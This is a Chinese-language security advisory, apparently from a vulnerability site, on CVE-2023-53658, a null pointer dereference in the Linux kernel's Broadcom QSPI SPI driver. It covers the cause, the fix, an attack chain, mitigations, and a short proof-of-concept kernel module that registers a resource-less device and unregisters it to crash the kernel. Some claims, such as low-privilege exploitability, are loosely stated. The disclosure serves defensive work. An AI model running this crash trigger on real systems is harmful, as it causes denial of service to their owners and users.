IPBUF安全漏洞报告
English
CVE-2023-53658 CVSS 5.5 中危

CVE-2023-53658 Linux内核spi-bcm-qspi驱动空指针解引用漏洞

披露日期: 2025-10-07
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53658
漏洞类型
空指针解引用漏洞
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux内核 spi-bcm-qspi 驱动

相关标签

空指针解引用Linux内核spi-bcm-qspiBroadcom本地提权拒绝服务驱动漏洞内核安全CWE-476ARM SoC

漏洞概述

CVE-2023-53658是Linux内核中spi-bcm-qspi驱动存在的一个空指针解引用漏洞。该漏洞位于Linux内核的SPI(Serial Peripheral Interface)子系统中的Broadcom QSPI驱动部分。当系统中既不存在"hif_mspi"资源也不存在"mspi"资源时,驱动在probe阶段会提前退出但仍然返回成功(返回值为0)。这种不当的处理方式会导致两个严重后果:首先,驱动没有执行任何有意义的功能性操作;其次,在驱动卸载(unbind/remove)过程中,platform_get_drvdata()将返回NULL,而后续代码会尝试对这个NULL指针进行解引用以注销spi master,最终触发空指针解引用错误,导致系统崩溃。该漏洞的CVSS评分为5.5,属于中危级别。攻击者需要本地低权限访问即可触发此漏洞,无需用户交互,虽然不会泄露机密信息或破坏数据完整性,但会对系统可用性造成高影响,可能导致内核崩溃(kernel panic)或系统拒绝服务(DoS)。该漏洞已在多个Linux内核稳定版本中通过补丁修复,修复方式是将"return 0;"替换为无条件调用devm_ioremap_resource(),该函数可以处理NULL资源并返回有效的ERR_PTR指针,从而避免空指针解引用问题。

技术细节

该漏洞的根本原因在于spi-bcm-qspi驱动的probe函数中存在不完整的错误处理逻辑。具体技术细节如下:

1. **资源检查缺陷**:在驱动的probe阶段,代码会检查系统中是否存在"hif_mspi"或"mspi"这两种SPI硬件资源。如果两者都不存在,原始代码逻辑是直接"return 0;",表示probe成功。

2. **错误传播问题**:这种处理方式忽略了驱动实际并未完成任何初始化的事实。虽然返回0表示成功,但驱动的内部状态并未正确设置,相关的spi master数据结构也未被正确初始化。

3. **空指针解引用触发**:当驱动被卸载时,remove回调函数会被调用。该函数会调用platform_get_drvdata()获取之前保存的设备数据,但由于probe阶段提前返回,该数据为NULL。后续代码尝试通过这个NULL指针访问spi master的成员(如调用spi_unregister_master()),从而触发空指针解引用。

4. **历史背景**:在commit 63c5395bb7a9("spi: bcm-qspi: Fix use-after-free on unbind")中,"goto qspi_resource_err;"被改写为"return 0;",虽然当时ret变量初始化为0使这种转换在表面上看起来是正确的,但实际上掩盖了原始的资源检查缺陷。

5. **修复方案**:补丁通过无条件调用devm_ioremap_resource()来解决此问题。该函数能够优雅地处理NULL资源输入,当传入NULL时会返回有效的ERR_PTR错误码,从而使probe函数正确地返回错误,触发驱动的错误处理路径。

攻击链分析

STEP 1
步骤1:环境准备
攻击者需要拥有目标系统的本地低权限访问权限,目标系统运行受影响版本的Linux内核且使用了Broadcom QSPI硬件平台(如某些ARM SoC设备)。
STEP 2
步骤2:触发条件构造
在特定硬件配置或模拟环境下,使spi-bcm-qspi驱动的probe函数执行时既找不到"hif_mspi"资源也找不到"mspi"资源。这可能通过修改设备树、移除相关硬件资源或在内核模块中模拟不完整的平台设备来实现。
STEP 3
步骤3:驱动加载
当spi-bcm-qspi驱动被加载并执行probe时,由于既无hif_mspi也无mspi资源,驱动提前返回0(成功),但实际上未完成任何初始化操作,驱动的私有数据结构未被正确设置。
STEP 4
步骤4:触发空指针解引用
当驱动被卸载(unbind)或设备被移除时,remove回调函数调用platform_get_drvdata()获取设备数据,由于probe阶段提前返回,该函数返回NULL。后续代码尝试通过NULL指针注销spi master,触发空指针解引用。
STEP 5
步骤5:系统崩溃
空指针解引用导致内核oops或kernel panic,系统可用性受到严重影响,可能造成拒绝服务(DoS)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* CVE-2023-53658 PoC - Trigger NULL pointer dereference in spi-bcm-qspi driver * This PoC demonstrates how to trigger the vulnerability by simulating a device * without proper hif_mspi or mspi resources. */ #include <linux/module.h> #include <linux/platform_device.h> #include <linux/of.h> #include <linux/spi/spi.h> /* Simulated platform device with no hif_mspi or mspi resources */ static struct resource dummy_resources[] = { /* Intentionally no SPI resources defined */ }; static struct platform_device dummy_pdev = { .name = "bcm-qspi", .id = -1, .num_resources = 0, .resource = dummy_resources, }; static int __init poc_init(void) { int ret; pr_info("CVE-2023-53658 PoC: Registering dummy bcm-qspi device\n"); /* Register a platform device without hif_mspi/mspi resources */ ret = platform_device_register(&dummy_pdev); if (ret) { pr_err("Failed to register platform device\n"); return ret; } pr_info("Device registered. Trigger remove to cause NULL pointer dereference\n"); return 0; } static void __exit poc_exit(void) { pr_info("CVE-2023-53658 PoC: Unregistering device (triggers NULL ptr deref)\n"); /* Unregistering will trigger the NULL pointer dereference in remove callback */ platform_device_unregister(&dummy_pdev); } module_init(poc_init); module_exit(poc_exit); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("PoC for CVE-2023-53658 - bcm-qspi NULL pointer dereference");

影响范围

Linux kernel < 5.10.226
Linux kernel 5.11.x < 5.15.167
Linux kernel 5.16.x < 6.1.108
Linux kernel 6.2.x < 6.6.49
Linux kernel 6.7.x < 6.10.8
Linux kernel 6.11.x 及其之前版本

防御指南

临时缓解措施
在无法立即升级内核的情况下,可以采取以下临时缓解措施:1)在内核编译配置中禁用Broadcom QSPI驱动(将CONFIG_SPI_BCM_QSPI设置为n),如果系统不使用相关硬件;2)确保系统设备树(Device Tree)正确配置了hif_mspi或mspi资源,避免驱动进入异常路径;3)限制本地用户的系统调用权限,减少触发漏洞的机会;4)监控内核日志,及时发现和处理空指针解引用导致的系统异常;5)使用cgroup等机制限制非特权用户对相关设备节点的访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表